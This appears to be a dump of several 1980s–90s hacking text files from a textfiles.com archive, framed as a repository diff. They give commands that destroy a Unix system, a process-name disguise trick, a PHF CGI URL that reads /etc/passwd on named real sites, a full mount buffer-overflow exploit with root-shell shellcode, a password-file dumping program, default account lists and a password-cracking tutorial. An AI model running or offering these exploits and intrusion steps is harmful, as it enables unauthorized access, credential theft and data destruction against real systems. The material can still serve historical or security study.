at bell made it very difficult to do much without privs, but once you have
them, there is absolutely nothing stopping you from doing anything you want to.
To bring down a unix system: => chdir /bin => rm * this wipes out the pathname
bin, where all the system maintenance files are. Or try: => r -r this
recursively removes everything from the system except the remove command
itself. Or try: => kill -1,1 => sync this wipes out the system devices from
operation. When you are finally sick and tired from hacking on the vax
systems, just hit your cntrl-d and repeat key, and you will eventually be
logged out. The reason this file seems to be very sketchy is the fact that bell
has 7 licenced versions of unix out in the public domain, and these commands
are those common to all of them. We recommend you hack onto the root or bin
directory, since they have the highest levels of privs, and there is really not
much you can do (except develope software) without them.
=======================================
The Wizard.
THIEF.
Sept. 1989

1076
textfiles.com/hacking/UNIX/hackunix.txt Normal file
View File

File diff suppressed because it is too large Load Diff

103
textfiles.com/hacking/UNIX/hide.hac Normal file
View File

@@ -0,0 +1,103 @@
UNIX Abuse Collection
Written By ZeeBee Australia Jan 1990
Ok Hacksters...we all know the importance of a good
understanding of the UNIX V operating system, but I find that
just an understanding alone is quite simply not enough.
Our little articles are not intended for those wishing to
gain an understanding of the UNIX environment. Instead, we aim
to show you how to truly ABUSE the UNIX system to it's fullest
potential.(And lets face it, UNIX really does have some really
great abusable features!)..so....grab your UNIX accounts and
passwords, and lets go!
**UNIX ABUSE COLLECTION PART 01**
****INVISIBILITY AND COVER UP TECHNIQUES***
One thing that really used to bug me about using a UNIX
system was that I always felt like someone was watching me. It's
just too easy to see what other users are doing, and as soon as
you discover something good, everyone else sees what you are
doing, and VOOM!...there goes your big secret. System operators
too, can easily pinpoint just who is stuffing around with their
system simply by seeing what processes are running under your
name. So, I set out to find ways around this.
One way to cover up what you are doing is to find and copy
the command that you wish to perform. As an example, just say I
want to cat a whole load of bullshit to someones terminal, but I
dont want anyone to see that I am executing the cat command.
First of all I find the cat command. On most systems it will be
somewhere in the /bin directory. Once you have found the command
you must copy it (if possible) to your own directory and rename
it to something inconspicuous. Most commands can be found
somewhere in the /bin or /usr/bin directories, but if you cant
find them, just look at your path list and see where UNIX is
looking for them. (typing echo $PATH is one way to view your path
list.)
Keep it in mind that not all commands are copyable (do an ls
-al and look at the access flags to see if they are) if the
access flags have an 'r' in the column 3rd from the far right,
then you can read it, ie copy it !
One advantage to this technique is that if you find a bug
with a certain command, you have a copy of the faulty code, so
even if the computer staff fix the bug, you will have the old
version ! Neat !
BUT! Don't worry if you can't copy the file! The following
technique will do just the same job, without the need to copy the
file. To do this you will need to write a program in C, compile
it, and place it somewhere where it is safe for you to call
whenever you want.
This is the small, and usefull piece of code:
main()
{
execl("/bin/ls","a.out","-l",(char *)0);
}
The above piece of code will execute the ls -l command, but
will generally show up as a.out -l whenever someone has a look at
what you are doing!
The "/bin/ls" is the path of the 'ls' command. Put the path
of any program you wish to execute here.
The "a.out" is what anyone else will think you are running.
Put anything you want here. The command doesnt even have to
exist!
The "-l" is the flag being passed to the ls command. You
cant cover up flags which are passed. Damn!
So, by using this, you can run any program with execute
access and make it look like you are running something else. You
could even put in a whole path where I put the "a.out" and
really confuse the shit out of people when they go looking for
this great program you are running.
While we are on the topic, I would just like to stress the
importance of continually checking to see what others on the
system are doing. I find the "w -d" "ps -fu USERNAME" and "ps -
fa" commands to be most usefull at this. On one system I was
actually able to see system operators creating new accounts, and
the account names and passwords were being passed. So one of the
processes being executed by some priveleged user looked like
this:
megauser 273 10:00:12 createaccount john zephyr ;
* In the above example, john is the account name, zephyr is the
password.*
We got about 100 accounts that day !
And remember, as soon as any new toy is installed on the
system, somebody will be using it, so just keep an eye on them to
see what they do.
Downloaded From P-80 Systems 304-744-2253

119
textfiles.com/hacking/UNIX/hss.txt Normal file
View File

@@ -0,0 +1,119 @@
Hacking Servers:
A Beginner's Guide
By: Lord Dredd
I am asked at least 5 or more times a day by young, beginning
"hackers", "How can I hack?" or "Is there a way to hack a web site?"
Well there is. There are, in fact, literally hundreds of ways to do this. I
will discuss a few in this text to get you started. Every hacker has to start
somehow and hacking web servers and ftp servers is one of the easiest ways.
If you are reading this I am assuming that you already have a basic knowledge
of how web servers work and how to use some form of UNIX. But I am going to
explain that stuff anyway for those of you who don't know.
Part 1: Simple UNIX Commands
Most DOS commands have UNIX and Linux equivalents. Listed below are
some of the main commands you will need to know to use a shell account.
HELP = HELP
COPY = CP
MOVE = MV
DIR = LS
DEL = RM
CD = CD
To see who else is on the system you can type WHO. To get information
about a specific user on the system type FINGER <username>. Using those basic
UNIX commands you can learn all you need to know about the system you are
using.
Part 2: Cracking Passwords
On UNIX systems the file that contains the passwords for all the users
on the system is located in the /etc directory. The filename is passwd. I bet
your thinking...."Great. All I have to do is get the file called /etc/passwd
and I'll be a hacker." If that is what you are thinking then you are dead
wrong. All the accounts in the passwd file have encrypted passwords. These
passwords are one-way encrypted which means that there is no way to decrypt
them. However, there are programs that can be used to obtain passwords from
the file. The name of the program that I have found to be the best password
cracker is called "Cracker Jack." This program uses a dictionary file composed
of thousands of words. It compares the encrypted forms of the words in the
list to the encrypted passwords in the passwd file and it notifies you when
it finds a match. Cracker Jack can be found at my web site which is at
http://www.geocities.com/SiliconValley/9185
Some wordlists can be found at the following ftp site: sable.ox.ac.uk/
pub/wordlists. To get to the wordlist that I usually use goto that ftp site
then goto the American directory. Once you are there download the file called
dic-0294.tar.Z which is about 4 MB. To use that file it must be uncompressed
using a program like Gzip for DOS or Winzip for Windows. After uncompressing
the file it should be a text file around 8 MB and it is best to put it in the
same directory as your cracking program. To find out how to use Cracker Jack
just read the documentation that is included with it.
Part 3: The Hard Part (Finding Password Files)
Up till now I have been telling you the easy parts of hacking a
server. Now we get to the more difficult part. It's common sense. If the
system administrator has a file that has passwords for everyone on his or her
system they are not going to just give it to you. You have to have a way to
retrieve the /etc/passwd file without logging into the system. There are 2
simple ways that this can sometimes be accomplished. Often the /etc directory
is not blocked from FTP. To get the passwd file this way try using an FTP
client to access the site anonymously then check the /etc directory to see if
access to the passwd file is restricted. If it is not restricted then download
the file and run Cracker Jack on it. If it is restricted then try plan B. On
some systems there is a file called PHF in the /cgi-bin directory. If there
is then you are in luck. PHF allows users to gain remote access to files
(including the /etc/passwd file) over the world wide web. To try this method
goto your web browser and type in this URL:
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Then substitute the site you are trying to hack for the xxx.xxx.xxx.
For example, if I wanted to hack St. Louis University (and I have already) I
would type in http://www.slu.edu/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Don't bother trying www.slu.edu because I have already done it and told them
about their security flaw.
Here's a hint: try www.spawn.com and www.garply.com
If the preceding to methods fail then try any way you can think of to get that
file. If you do get the file and all the items in the second field are X or !
or * then the password file is shadowed. Shadowing is just a method of adding
extra security to prevent hackers and other unwanted people from using the
password file. Unfortunately there is no way to "unshadow" a password file
but sometimes there are backup password files that aren't shadowed. Try
looking for files such as /etc/shadow and other stuff like that.
Part 4: Logging In To "Your" New Shell
OK....This is where you use what you found using Cracker Jack.
Usernames and passwords. Run your telnet client and telent to the server that
you cracked the passwords for, such as www.slu.edu. When you are connected it
will give a login screen that asks for a login names and password and usually
information on the operating system that the server is using (usually UNIX,
linux, aix, irix, ultrix, bsd, or sometimes even DOS or Vax / Vms). Just type
in the information you got after cracking the passwd file and whatever you
know about UNIX to do whatever you feel like doing. But remember that hacking
isn't spreading viruses or causing damage to other computer systems. It is
using your knowledge to increase your knowledge.
Part 5: Newbie Info
If you feel that you have what it takes to be a serious hacker then
you must first know a clear definition of hacking and how to be an ethical
hacker. Become familiar with unix environments and if you are only just
starting to learn to hack, visit a local library and find some books on
various operating systems on the internet and how they work. Or you could go
to a book store and buy a couple internet security books. They often explain
how hackers penetrate systems and that is something a beginner could use as
an advantage.

6908
textfiles.com/hacking/UNIX/interunx.txt Normal file
View File

File diff suppressed because it is too large Load Diff

136
textfiles.com/hacking/UNIX/linux_mo.asc Normal file
View File

@@ -0,0 +1,136 @@
Vulnrability in all known Linux distributions
bloodmask (bloodmask@mymail.com)
Tue, 13 Aug 1996 07:04:25 +0200
Greetings,
Well folks, After all the other security issues in Linux, I can't say
I'm really that shocked about this one, anyway, read the officail covin
release. After finding this one, we at covin decided it's time to put
and end to this issue, and we've begun scanning all of Linux's suid
binaries for other hints of these hidden "features", Results will be
released soon. The reason we are also releasing the exploit, an act
which may seem highly inresponsable, is due to previous expieriance that
making the exploit widely available, ussually speeds up the proccess of
patching up stupid vulnerabilities like these.
BTW, This is kind of out of topic, but I figure, there's nothing wrong
with killing two birds with one stone... Ijust noticed when installing
the latest version of the shadow suite, taken from sunsite, that it
"unpatched" the lib enviorment vulnerability on my system. I haven't had
the time to determine *HOW* it exposed my system, but it would be wise
to check up on this matter.
--------------2F3F790C537451604439D8BF
Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="cvnmount.exploit"
Covin Security Releases:
(mount bufferoverflow exploit v1.0)
Tested operated systems: All current distributions of Linux
Affect: Local users on systems affected can gain overflow mounts syntax
buffer and execute a shell by overwriting the stack.
Affected binaries:
(/bin/mount and /bin/umount)
Workaround:
On all current distributions of Linux remove suid bit of /bin/mount and
/bin/umount.
[chmod -s /bin/mount;chmod -s /bin/umount]
Remarks:
For gods sake, how many more times are we gonna see this kind of problem?
It's been with Linux since it's very beggining, and it's so easy to
exploit. Similiar buffer overflow vulnerabilities have been found in
Linux distributions many times before, splitvt, dip, just to name a few
examples.
Any remarks, notes or other forms of feedback may be redirected to:
bloodmask@mymail.com
<------------------------------[ Cut here ]---------------------------------->
/* Mount Exploit for Linux, Jul 30 1996
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

555
textfiles.com/hacking/UNIX/maccrac.txt Normal file
View File

@@ -0,0 +1,555 @@
Note: To be viewed with a Monospaced, 9-point Font (i.e. Monaco, Courier)
-----------------------------------------------------------------------------
#### #### ##### ##### ##### ###### ##### ##### DOCUMENTATION
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### by oleBuzzard
### ### ### ### ### ### ### ### ### ### ### ### ### ### ###
### ### ### ### ### ### ### ### ### ### ### ### %%% % %%
### ### ### ####### ### ### ###### ####### ### % %% %% % %
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### % % % % %%%%
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### %% % % % %
### ### ### ### ### ##### ##### ### ### ### ### ##### %%% % %%% % %
-[01-29-96]------------------------------------------------------------------
INTRODUCTION
FINALLY! A half-way decent UNIX 'passwd' cracker for the Macintosh. MACCRAC
is a very well ported version of one of the PC world's best 'passwd'
Crackers, CRACK V4.1. MACCRAC is great if you know how to use it, AND, more
importantly, if you know what UNIX password cracking is about in the first
place. Unfortunatley, the Mac underground have been SO long deprived of a
decent UNIX passwd cracker, alot of us are quite a bit behind in the
concept. That's what this tutorial is provided for. Hopefully after reading
it, not only will you have an understanding of how to use MACCRAC, but also
an increased understanding of what UNIX hacking is about in the first place.
PURPOSE OF CRACKING THE passwd
Traditionally stated, the purpose of hacking a UNIX is: to "get to ROOT."
This refers to the ROOT account that every UNIX system has as part of it's
Operating system. The ROOT is a 'Trusted User' account, THE most powerful
account on a UNIX. If you can hack a ROOT you can utilize or exploit every
function a UNIX is capable of. But to get to "ROOT" you have to have
somewhere to start. For the purposes of this file, that somewhere is with
the 'passwd' file.
WHAT'S THE passwd?
'passwd' is the common name of the file in which user account information is
stored on a UNIX system. You might consider it a comprehensive users list.
The file contains the information for an accounts USERNAME, PASSWORD, USER
NUMBER, GROUP, GECOS, HOME DIRECTORY, and SHELL. A single entry of a passwd
file entry might look like this:
PASSWORD GROUP NUMBER HOME DIRECTORY
/ / /
/ / /
kbahadur:8d34jSjs73hsb:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh
\ \ \ \
\ \ \ \
USERNAME USER NUMBER GECOS INFORMATION SHELL
Now take a look at the PASSWORD in this entry: 8d34jSjs73hsb. This is, in
fact, NOT the password. It is, instead, the encrypted equivalent TO the
password. As part of the UNIX Account Registration process, when a User
designates a password, the UNIX takes the password, and (*this is
important*) uses the other information from the account to generate an
encrypted equivalent to the actual password. Why? Because as part of the
UNIX operating system, users MUST have access to the 'passwd' file to be
able to login. But if anyone who has an account can access the 'passwd'
file, they can also see what everyone else's Password is. So, UNIX's
security against this is to encrypt the password entry for each users
account so that noone else will know what anyone elses password is.
Unfortunaley/fortunatley (depending on who you are) the algorithm UNIX uses
to perform this encryption has been known to Hackers for sometime. And so if
you can see this:
encrypted equivalent of pasword
/
kbahadur:8d34jSjs73hsb:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh
...you can use MACCRAC or any other of well over 50 'passwd' file crackers
to "guess" the password to this account entry. "Guess?" You say? "How does
that work?" It works like this:
GUESSING THE PASSWORD
First a UNIX 'passwd' file cracker takes an encrypted password equivalent
(i.e.: 8d34jSjs73hsb) from an account entry in a UNIX 'passwd' file and
holds it to be used as a Reference. From whichever account entry the
encrypted equivalent was pulled, is the particular account the 'passwd' file
cracker will attempt to crack at that time.
Next the 'passwd' file cracker goes through a process of "guessing". In this
process a single word is pulled from a Dictionary file (more on Dictionaries
later), encrypted utilizing the UNIX encryption algorithm (the one all us
hackers know about), and compared, checking to see if the derived encrypted
word matches the encrypted password equivalent used as a Reference.
If the encrypted word matches the Reference, the 'passwd' file cracker
considers it an accurate guess, it then logs the information, and moves on
to the next account. If the two do not match, the 'passwd' file cracker
pulls another word from the Dictionary file and goes through the guessing
process again. If the 'passwd' file cracker goes through every word in a
Dictionary file and never matches the Reference, the entry is skipped, and
the cracker moves on to the next account.
Now, as complicated as this may seem, it is all a relativley easy task for a
computer. As such, UNIX 'passwd' files are cracked on a regular basis. As a
result of this a number of security and other measures now (potentially)
exist to prevent unauthorized persons from accessing a UNIXes'passwd' file.
This is the topic of the next section. To this point you should understand
why UNIXes are hacked (to get to ROOT) and understand a little about
'passwd' files and their role in UNIX hacking. Got it?
GOT IT, NOW WHAT?
Ok, at this point you should be ready to try and find a UNIX 'passwd' file
to crack, right? Wrong. You still have a couple of minor, requisite tasks to
perform. First, (obviously) you'll need to find a UNIX to hack. In most
cases, you've already got one in mind, but just in case you don't we'll take
a look at a few. Also, once you've found a UNIX to hack, you'll need an
account on that UNIX. There's no way to steal the 'passwd' file from a UNIX
without first having an account on it (not true, you can always get a
'passwd' file from someone else, but ignore this because I'm contradicting
myself). Once you've accomplished your requisites you can start trying to
steal the 'passwd' file.
Step 1. Finding a UNIX to Hack
------------------------------
Seeing as how you're reading this file you probably already have a UNIX in
mind. But, for the sake of clarity, heres what a common UNIX login screen
looks like:
Ultrx v4.3 (rev .44)
login:
Other UNIX machines are: System V, BSD, Xenix, and AIX. Look for these names
to be somewhere in the login screen. Knowing what type of UNIX you're using
will aid you in hacking it.
Step 2. An account to start with
--------------------------------
If you already have a UNIX account go to Step 3. If you do not already have
an account, you need to get one. Either: trade for one, trash for one, get a
legitimate one, or hack one out by hand. The first three options are
probably the easiest. You can trade for UNIX accounts on IRC channels #hack
or #phreak. You can trash for accounts in dumpsters and trashcans at most
Colleges or Universities. You can buy legitimate accounts from any one of
the rapidly increasing number of Internet Service Providers (they almost all
use UNIX). But, of coure, as well know you're a hacker, and the only hing
you wanna do is Hack an account. So be it. Here's a list of UNIX defaults.
*NOTE* These are NON-PASSWORDED accounts. They are common on System V, BSD,
Xenix, and AiX. "These defaults are included in standard setup on various
machines so the Sysadmin can log on for the first time." In some instances,
negligent Admins will forget to change or delete these accounts. If so,
you've got an account to start with. Remember, these are NON-PASSWORDED so
if they work you shouldn't be prompted for a password. If a password is
prompted for, try using the Account name for the password as well.
[Stolen from CoTNo #01]
root bin adm
makefsys sysadm sys
mountfsys rje sync
umountfsys tty nobody
checkfsys somebody setup
lp powerdown ingres
dptp general guest
daemon gsa user
trouble games help
nuucp public unix
uucp test admin
student standard pub
field demo batch
visitor listen network
uuhelp usenet sysinfo
cron console sysbin
who root2 startup
shutdown ncrm new
Step 3. Stealing the passwd file
--------------------------------
Once you've got your UNIX accpunt you can ATTEMPT to steal the 'passwd' file
from it. I emphasize ATTEMPT because the 'passwd' file can be protected in a
number of ways, or located in a number of different places. We will explore
some common methods of exploiting the 'passwd' file.
-Common UNIX Hack-
This is probably THE easiest and most common UNIX hack. ogin in to your
account and try typing this at the prompt:
prompt concatenate Note on: 'booya>' is the name of the account
/ / prompts prompt on the machine I'm using in
booya> cat /etc/passwd these examples. The prompt on your
/ \ machine will be different. Also
directory filename DON'T type 'booya>' with an entry.
'cat' is short for concatenate, a command used for reading and displaying
files in standard output. '/etc' is the common directory for the password
file on older UNIXes. 'passwd' is the common password filename on UNIXes. If
you entered: cat /etc/passwd and got a listing that looks like this
(abbreviated):
kbahadur:IS3fhZdWX3JGU:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh
\
password intact
...then congrats! You've succesfully listed out (stolen) your first 'passwd'
file. *Buffer* the entire contents to a text file, save it and jump down to
the section: MACCRAC-ING.
If you got a listing that looks like this:
password tokenized
/
intruder:x:263:200:Jack Harmon:/usr/users/intruder:/bin/csh
or:
esvogt:PASSWORD HERE:2183:129:Novel,,,:/usr/users/advisor/esvogt:/usr/bin/ksh
\
password removed
or you got:
cat: cannot open /etc/passwd
Then the UNIX you are on is utilizing some other form of protection or may
be using a different 'passwd'-ing process. Keep reading.
-AIX-
On AIX systems, an UNIX variation, the 'passwd' file is in a different
place. On an AIX type:
booya> cat /etc/security/passwd
If this lists out a 'passwd' file with the (encrypted) password intact, then
you've succesfully listed out (stolen) your first 'passwd' file. *Buffer*
the entire contents to a text file and save it, and jump down to MACCRAC-
ING. If not, keep reading.
-NIS/yp-
Some UNIXes use a system called Yellow Pages [taken from #hack/alt.2600 FAQ
beta .013]:
"NIS (Network Information System) is the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS IS NOT DESIGNED TO PROMOTE SYSTEM SECURITY. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
"To view the real password type this command:"
booya> ypcat passwd
If 'ypcat' lists a password file with the (encrypted) password still intact,
*buffer* the entire contents and go on to MACCRAC-ING, if not, keep reading.
-Password Shadowing-
Some systems use what is called password shadowing [again, taken from
#hack/alt.2600 FAQ beta .013]:
"Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
"To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.
"Example:
-------------------------------------------------------------CUT HERE
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
-------------------------------------------------------------CUT HERE
Now then, for those you who are unfamiliar with UNIX scripts and/or their
implementation, follow these directions:
First Copy the above script (not including the CUT HEREs) into a Text
file and save it as 'getp.c'. Next Login to your UNIX account and create a
directory called 'executables'. (At the prompt) Type:
prompt directory name
/ /
booya> mkdir executables
/
make directory
Now, use Fetch or some other FTP client to FTP into your account and
Upload 'getp.c' into the directory 'executables'. Once you've done this,
login to your account, and goto the 'executables' directory:
change directory
/
booya> cd executables
Type 'ls' to List the directory to make sure the file is there. If it is
you can attempt to compile the 'getp.c' script. Almost all UNIX boxes
have Compilers, it's just a matter of whether or not you have acces TO
the Compiler. Typically you do. at the UNIX prompt Type:
prompt compiler executable
\ / /
booya> cc -o getp.c getfile
/ \
output filename
option
If you don't get an error you should be left with a file named 'a.out'.
Type:
booya> a.out
If you get a listing with the (encrypted) password intact, *buffer* the
contents to a text file and go on to MACCRAC-ING. if not, keep readin'.
If you got an error when you tried to compile the 'getp.c' script: 'cc:
Command not found' then you either don't have that compiler or you don't
have access to it. In either case, try compiling with the GNU C Compiler:
gnu c compiler
/
booya> gcc getp.c
\
filename
Again, you should be left with a file named 'a.out'. At the UNIX prompt
type: a.out. If you get a password file with the (encrypted) password file
intact, *buffer* the entire contents and go on to MACCRAC-ING. If not, keep
reading.
-Last Resorts-
In some cases none of the above listed attacks may work. It might be because
you're running a newer version of UNIX like SunOS v5.4. Also it, may just be
that you don't have permissions to access the 'passwd' file for whatever
reason. In the case of SunOs v5.4, v5.4 doesn't have those helpful v4.1.x
bugs so well documented in the CERT Advicories. In this case your best bet
may be to go pick up a book on UNIX (so you can know what you're doing), and
then goto the Bugtraq Archives:
http://www.eecs.nwu.edu/~jmyers/bugtraq/search.html
...and do a search for 'SunOS 5.4'. Any vulnerabilities in 5.4 (or any other
system for that matter) may be found there.
In cases where you just don't have access to the 'passwd' file for whatever
reason, you might try the 'Dumb User' Hack: Login to a UNIX using whatever
account you have. Once you're logged in, at the prompt type:
change directory up 1
/
booya> cd ..
^
Note space ' ' between 'cd' and '..'
booya> ls
\
lists contents of directory accounts
/ \
1031exch dianafcr jetski91 \ mikesotto sanders
aa7bq diane jgroff \ milton saucy
aacker digna jhill \ mjwright sawgal
aardvark dillon jillk mkansgen sbarnes
acarr / ditomaso jimfinly mmadison sbray
\ /
accounts [ALL of these are accounts]
[etc...]
What this process does is give you the names of all the common accounts on
the UNIX you're on. Buffer this list and print it out. Exit the UNIX (type:
exit) and try to Hack back using these accounts with the Account name as the
password. i.e.:
UNIX(r) System V Release 4.0 (arthur)
login: jetski91
Password: jetski91 -- would not be shown
Login incorrect /
login: mkansgen /
Password: mkansgen
Last login: Sat Jan 27 12:34:31 from slip212m.vinue.net
Sun Microsystems Inc. SunOS 5.4 Generic July 1994
You have new mail.
Sat Jan 27 12:41:04 MST 1996
/usr/users/mkansgen
arthur{mkansgen}/usr/users/mkansgen%
This is the 'Dumb User' Hack. Because a user was 'dumb' enough use his
account name for his password, it was easily hacked, and now that dummy's
account is your's. If the Dumb User's account has more privileges than
yours (i.e. Permission to read the 'passwd' file), go back through the
previously described methods and attempt to get the 'passwd' file. If the
account has no greater privileges, keep the account for later trading on
#hack and try and hack another account with more privileges.
If you've tried everything and you still haven't succeed in stealing a
'passwd' file, goto bed and thank God you don't have more troubles in life.
MACCRAC-ING
At this point you should have a processable 'passwd' file. This file should
contain account entries with the encrypted password intact, and it should be
saved as a plain text file. If these are completed you can proceed with
using MACCRAC.
Now to use MACCRAC there a couple of operating mechanics to go over.
Remember MACCRAC is a ported version of an IBM program, and since this is a
BETA, its still a little buggy, and frills free. Basically, there are four
main components of MACCRAC:
MacCrac.FAT--This is the main MacCrac application which processes
and crack's UNIX 'passwd' files.
MacCrac.Log--This is the file where all information generated during the
process off cracking a UNIX 'passwd' file is stored.
DICTIONARY--This is a dictionary file containing words MACCRAC will use
to try and crack a 'passwd' file.
passwd--This the file that contains the UNIX account information.
Important notes on the above:
MacCrac.FAT
-----------
MACCRAC REQUIRES that ALL FILENAMES MUST BE AS THEY ARE LISTED ABOVE! There
will be no dialogs to ask you which DICTIONARY or 'passwd' file you wish to
use. MACCRAC Will look ONLY for a Dictionary file called DICTIONARY and a
UNIX 'passwd' called passwd, AND it will only look for them in the immediate
folder it is in, so make sure these files are in the same folder with
MACCRAC.
Dictionary
----------
The DICTIONARY is a standard Word Processing Dictionary as used by say,
Microsoft Word. MACCRAC's Dictionary is somewhat larger than most Word
Processoing Dictionaries with a size 2,431k. But other than it's size, it's
no different. Dictionary files consist of alphabetized words with one word
per line (carriage return) and no spaces. Heres a short sample of a
DICTIONARY file:
A
a
aa
aal
aalii
aam
Aani
aardvark
aardwolf
Now, at 2,413k, MACCRAC's Dictionary is fairly large...although certainly
not the largest. I personally have seen Dictionary files as large as 4
gigabytes! But normally you won't need a Dictionary that big. In fact the
DICTIONARY file that comes with MACCRAC should be more than adequate. But if
you would like to use a larger Dictionary or would like to use a Dictionary
of say, Foreign Words, or Star Trek Terms, or Dog Names, then you can either
make them or, find them on the internet.
In using these Dictionary files, it's important to remember that what ever
name they're called when you find them, they MUST be RENAMED to DICTIONARY,
and placed in the same Folder as MACCRAC in order to be used. If the
Dictionary file is not called DICTIONARY, or is not in the same Folder as
MACCRAC, it will not/cannot be used.
As a final note on Dictionaries, there is a program called 'Word List
Maker'. This is a Drag&Drop program which allows you to Drag two or more
Dictionary files on to it, and it will combine them into a single Dictionary
AND delete all duplicate entries. This is great for making custom, or more
extensive DICTIONARY files for MACCRAC to use. Keep in mind though, that the
larger the Dictionary, the slower the process.
passwd
------
Well the 'passwd' file is what we spent the majority of this Tutorial
discussing, so I shouldn't need to go into it much here. The most important
thing to say about the 'passwd' file at THIS point is that included with
MACCRAC is a file called 'passwd'; DELETE IT! This is just a sample file
included with MACCRAC probably for Development or Testing purposes. It will
do you no good. Replace it with your newly acquired 'passwd' file, and make
sure this newly acquired file is called: passwd. Also make sure it's in the
same Folder with MACCRAC
LET'S DO IT
Well, f you have your 'passwd' file, and you have whatever Dictionay file
you're going to use, and all of the files are correctly named and placed in
the same Folder with MACCRAC, then I guess you're ready, so lets do it!
For the sake of speed, and because you won't be able to use your computer
anyway, I suggest Restarting your Mac with Exensions Off (even if you have
RamCharger or RamDoubler). Once you've restarted, Double click on the
MACCRAC icon. If this is your first time running MACCRAC, just go up to
'Crack' in the menubar and select: Start Cracking!. The first thing you'll
probably notice is that once you've started a Cracking Session you can't do
anything else. Thats because MACCRAC hogs the processor. I would suggest
starting a session around 11:00 pm and letting it run all night. By morning,
it should have cracked at least 40-50 accounts.
If for some reason you want or need to stop a session before an entire
'passwd' file is cracked, the only way to do it is with COMMAND-OPTION-ESC.
Don't worry, any cracks MACCRAC has cracked to that point will be saved.
If you've already started Cracking a 'passwd' file but had to quit, you can
pickup where you left off by going up to the 'CRACK' menubar and dragging
down to Settings. Once in Settings select 'Recover session from "Point
File"'. Now you can 'Start Cracking!' where ever you let off.
OUTRO
If you've let it run long enough, you should have passwords. At this point
you're on your way to geting to "ROOT". The topic of Hacking "root" on UNIX
has been addressed by any of a number of well written, informative and
readily available T-Philes on UNIX Hacking. At this point I suggest you
pursue them as this file will not address that topic (remember, this is a
Tutorial on MACCRAC)
I'd like to thank Disorder, Voyager and the rest of TNo Crew for their
incite and assistance. That's it for this one. Look for more oleBuzzard's T-
Philes on the World's Greatest Underground Mac Board...
oleBuzzard's 7 Macintosh/PC Underground
/<n0wledge phreak 1 PowerPC 9500-604
### ######### 9 5500+ Philez/1.2 Gigz
### ### ## ###_{_}## ###### 5 Hack/Phreak/Phraud/Anarchy
###### ## / ###\_/ ## ### ### 7 UnionNET/IIRG-Net
##### ##,(___### ## ### ### 8 Home of the UNDERGROUNDMAC
###### ## o \ \## ## ### ### 8 SCAM! Magazine Distro Site
### ### ######### ###### 2 Runnin Hermes v3.4
/ ### 8 2400-28.800 kbaud
'No Bullshit!' 8 Only like US$20/month

163
textfiles.com/hacking/UNIX/metaunix.hac Normal file
View File

@@ -0,0 +1,163 @@
From: _ _ _______
| \/ | / _____/
|_||_|etal/ /hop
_________/ /
/__________/
(314)432-0756
24 hours a day, 300 baud, Elite BBS
**************************************
* A beginners guide to: *
